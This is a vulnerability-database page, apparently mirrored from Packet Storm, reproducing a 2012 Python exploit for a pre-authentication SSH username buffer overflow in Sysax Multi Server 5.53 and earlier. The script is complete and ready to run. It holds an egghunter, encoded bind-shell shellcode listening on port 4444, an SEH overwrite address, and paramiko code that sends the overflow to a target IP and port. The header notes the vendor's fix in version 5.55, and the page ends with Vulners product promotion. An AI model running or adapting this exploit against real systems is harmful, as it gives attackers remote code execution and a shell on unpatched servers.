Lucene search
+L

Sysax 5.53 SSH Username Buffer Overflow Exploit

🗓️ 27 Feb 2012 00:00:00Reported by Craig FreymanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Sysax 5.53 SSH Username Buffer Overflow Exploi

Code
`#!/usr/bin/python  
##########################################################################################################  
#Title: Sysax <= 5.53 SSH Username BoF Pre Auth RCE (Egghunter)  
#Author: Craig Freyman (@cd1zz)  
#OS Tested: XP SP3 32bit, 2003 Server SP2 (No DEP)  
#Software Versions Tested: 5.53, 5.52, 5.50  
#Date Discovered: Febrary 22, 2012  
#Vendor Contacted: Febrary 23, 2012  
#Vendor Response: February 27, 2012  
#Vendor Fix: Sysax 5.55  
#Detailed Exploit Description:http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html  
##########################################################################################################  
import paramiko,os,sys  
if len(sys.argv) != 3:  
print "[+] Usage: ./filename <Target IP> <Port>"  
sys.exit(1)  
host = sys.argv[1]  
port = int(sys.argv[2])  
egghunter = (  
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05"  
"\x5a\x74\xef\xb8\x44\x4e\x57\x50\x8b\xfa\xaf\x75\xea\xaf"  
"\x75\xe7\xff\xe7")  
# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e -e x86/alpha_mixed X  
shell = ("DNWPDNWP"  
"\x89\xe0\xda\xdf\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49"   
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"   
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"   
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"   
"\x42\x75\x4a\x49\x69\x6c\x68\x68\x6d\x59\x77\x70\x57\x70"   
"\x57\x70\x33\x50\x4f\x79\x39\x75\x70\x31\x7a\x72\x62\x44"   
"\x4c\x4b\x52\x72\x70\x30\x6e\x6b\x32\x72\x44\x4c\x4c\x4b"   
"\x36\x32\x74\x54\x6e\x6b\x71\x62\x34\x68\x64\x4f\x78\x37"   
"\x42\x6a\x76\x46\x54\x71\x39\x6f\x35\x61\x49\x50\x4e\x4c"   
"\x77\x4c\x61\x71\x31\x6c\x66\x62\x64\x6c\x75\x70\x39\x51"   
"\x58\x4f\x34\x4d\x66\x61\x4f\x37\x6b\x52\x6c\x30\x73\x62"   
"\x30\x57\x4c\x4b\x36\x32\x64\x50\x4c\x4b\x63\x72\x77\x4c"   
"\x57\x71\x7a\x70\x6e\x6b\x61\x50\x72\x58\x6f\x75\x79\x50"   
"\x61\x64\x50\x4a\x63\x31\x48\x50\x30\x50\x4c\x4b\x53\x78"   
"\x56\x78\x6e\x6b\x50\x58\x51\x30\x35\x51\x59\x43\x69\x73"   
"\x57\x4c\x73\x79\x4c\x4b\x47\x44\x6e\x6b\x47\x71\x79\x46"   
"\x44\x71\x4b\x4f\x35\x61\x79\x50\x6c\x6c\x39\x51\x5a\x6f"   
"\x76\x6d\x47\x71\x78\x47\x75\x68\x6b\x50\x33\x45\x39\x64"   
"\x64\x43\x73\x4d\x4c\x38\x37\x4b\x31\x6d\x45\x74\x64\x35"   
"\x39\x72\x32\x78\x4c\x4b\x30\x58\x45\x74\x47\x71\x48\x53"   
"\x50\x66\x4c\x4b\x36\x6c\x42\x6b\x4e\x6b\x56\x38\x75\x4c"   
"\x47\x71\x39\x43\x4e\x6b\x56\x64\x4e\x6b\x33\x31\x68\x50"   
"\x6b\x39\x70\x44\x76\x44\x77\x54\x43\x6b\x71\x4b\x35\x31"   
"\x36\x39\x30\x5a\x30\x51\x4b\x4f\x4d\x30\x70\x58\x31\x4f"   
"\x42\x7a\x4c\x4b\x55\x42\x6a\x4b\x4d\x56\x63\x6d\x70\x68"   
"\x50\x33\x36\x52\x45\x50\x67\x70\x70\x68\x31\x67\x31\x63"   
"\x45\x62\x71\x4f\x31\x44\x61\x78\x52\x6c\x62\x57\x51\x36"   
"\x53\x37\x59\x6f\x4b\x65\x6f\x48\x6e\x70\x56\x61\x67\x70"   
"\x77\x70\x76\x49\x68\x44\x43\x64\x50\x50\x73\x58\x45\x79"   
"\x6b\x30\x32\x4b\x65\x50\x49\x6f\x49\x45\x62\x70\x72\x70"   
"\x76\x30\x70\x50\x53\x70\x66\x30\x67\x30\x46\x30\x45\x38"   
"\x48\x6a\x36\x6f\x39\x4f\x59\x70\x39\x6f\x78\x55\x4e\x69"   
"\x49\x57\x36\x51\x6b\x6b\x52\x73\x50\x68\x56\x62\x77\x70"   
"\x66\x71\x31\x4c\x4f\x79\x6b\x56\x51\x7a\x36\x70\x72\x76"   
"\x32\x77\x65\x38\x4b\x72\x6b\x6b\x64\x77\x71\x77\x4b\x4f"   
"\x4e\x35\x50\x53\x56\x37\x73\x58\x6c\x77\x38\x69\x37\x48"   
"\x69\x6f\x39\x6f\x78\x55\x63\x63\x30\x53\x31\x47\x62\x48"   
"\x30\x74\x78\x6c\x57\x4b\x79\x71\x6b\x4f\x79\x45\x76\x37"   
"\x4c\x49\x6f\x37\x55\x38\x73\x45\x72\x4e\x50\x4d\x43\x51"   
"\x39\x6f\x59\x45\x73\x58\x42\x43\x50\x6d\x43\x54\x75\x50"   
"\x4d\x59\x59\x73\x70\x57\x30\x57\x73\x67\x36\x51\x38\x76"   
"\x51\x7a\x57\x62\x42\x79\x36\x36\x5a\x42\x6b\x4d\x31\x76"   
"\x49\x57\x61\x54\x47\x54\x37\x4c\x67\x71\x53\x31\x4c\x4d"   
"\x67\x34\x77\x54\x74\x50\x7a\x66\x37\x70\x51\x54\x52\x74"   
"\x52\x70\x71\x46\x70\x56\x43\x66\x32\x66\x50\x56\x42\x6e"   
"\x50\x56\x46\x36\x61\x43\x43\x66\x53\x58\x73\x49\x58\x4c"   
"\x37\x4f\x4d\x56\x4b\x4f\x78\x55\x6f\x79\x69\x70\x30\x4e"   
"\x50\x56\x51\x56\x39\x6f\x76\x50\x61\x78\x63\x38\x4e\x67"   
"\x67\x6d\x71\x70\x59\x6f\x49\x45\x6d\x6b\x68\x70\x4f\x45"   
"\x4e\x42\x62\x76\x72\x48\x4c\x66\x4e\x75\x6d\x6d\x6d\x4d"   
"\x6b\x4f\x6a\x75\x37\x4c\x63\x36\x63\x4c\x45\x5a\x6f\x70"   
"\x39\x6b\x39\x70\x52\x55\x37\x75\x6d\x6b\x63\x77\x75\x43"   
"\x74\x32\x72\x4f\x51\x7a\x77\x70\x50\x53\x69\x6f\x38\x55"   
"\x41\x41")  
padding1 = "\x90" * 50  
padding2 = "\x90" * 50  
nseh = "\x90\x90\xeb\x80"   
seh = "\x69\x26\x40\x00" #00402669 PPR sysaxservd.exe  
junk = "A" * (9204 - len(egghunter + padding1 + padding2 + shell))  
buff = junk + shell + padding1 + egghunter + padding2 + nseh + seh  
print "============================================================================"  
print " Sysax <= 5.53 SSH Username BoF Pre Auth RCE "  
print " by cd1zz "  
print " www.pwnag3.com "  
print "============================================================================"  
try:  
transport = paramiko.Transport((host, port))   
except:  
print "[X] Unable to connect to " + host + " on port " + str(port)  
sys.exit(1)  
transport = paramiko.Transport((host, port))  
print "[+] Launching exploit against " + host + " on port " + str(port)  
print "[+] Done!"  
transport.connect(username = buff, password = "pwnag3")   
transport.close()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Feb 2012 00:00Current
0.5Low risk
Vulners AI Score0.5
20